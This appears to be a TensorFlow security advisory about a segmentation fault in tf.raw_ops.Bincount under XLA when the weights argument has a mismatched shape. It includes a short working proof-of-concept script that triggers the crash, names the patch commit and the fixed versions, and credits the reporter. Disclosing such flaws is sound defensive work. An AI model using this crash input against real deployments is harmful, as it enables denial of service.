When running with XLA, tf.raw_ops.Bincount
segfaults when given a parameter weights
that is neither the same shape as parameter arr
nor a length-0 tensor.
import tensorflow as tf
func = tf.raw_ops.Bincount
para={'arr': 6, 'size': 804, 'weights': [52, 351]}
@tf.function(jit_compile=True)
def fuzz_jit():
y = func(**para)
return y
print(fuzz_jit())
We have patched the issue in GitHub commit 8ae76cf085f4be26295d2ecf2081e759e04b8acf.
The fix will be included in TensorFlow 2.12. We will also cherrypick this commit on TensorFlow 2.11.1.
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This vulnerability has been reported by r3pwnx of 360 AIVul Team